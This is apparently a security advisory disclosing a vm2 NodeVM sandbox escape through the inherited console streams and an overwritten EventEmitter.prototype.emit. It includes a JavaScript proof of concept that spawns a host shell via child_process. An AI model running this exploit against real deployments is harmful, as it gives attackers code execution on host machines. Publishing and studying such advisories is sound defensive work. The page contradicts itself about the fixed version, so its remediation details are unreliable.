GHSA-88hf-g992-jg85: Critical severity npm/vm2 vulnerability
Summary
It being possible to obtain the host proto getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console.stdout/console.stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console.stdout/console.stderr is:
stdout / stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
js const { NodeVM } = require("vm2");
code = const gP = Buffer.call.call(lookupGetter,67,'proto');
// vm proto getter console.log(lookupGetter.call(0,'proto').call(console.stderr)); // [Object: null prototype] {}
// host proto getter console.log(gP.call(console.stderr)); // Socket { [...] }
let p = console.stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); };
p.emit = function(){ console.log(this+[]); this.getBuiltinModule("childprocess").execSync("sh",{stdio:"inherit"}) } ;
const vm = new NodeVM(); vm.run(code);
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.8
Event History
Frequently Asked Questions
Which deployments are exposed by the described exploit path?
The described path applies to vm2 NodeVM instances configured with console: 'inherit'. This is the default configuration, and it exposes console._stdout and console._stderr to sandboxed code.
What must an attacker be able to do to exploit this?
An attacker needs to run code in the NodeVM sandbox and access the inherited console streams. The exploit overwrites EventEmitter.prototype.emit and then relies on process emitting an event such as exit or unhandledRejection.
Does --disallow-code-generation-from-strings prevent this escape?
No. The advisory states that this technique bypasses --disallow-code-generation-from-strings.
What version contains the fix?
The provided data does not specify a fixed vm2 release version. It references commit 22a43704c04b66823b4064b8a16fe1ad54ad0290.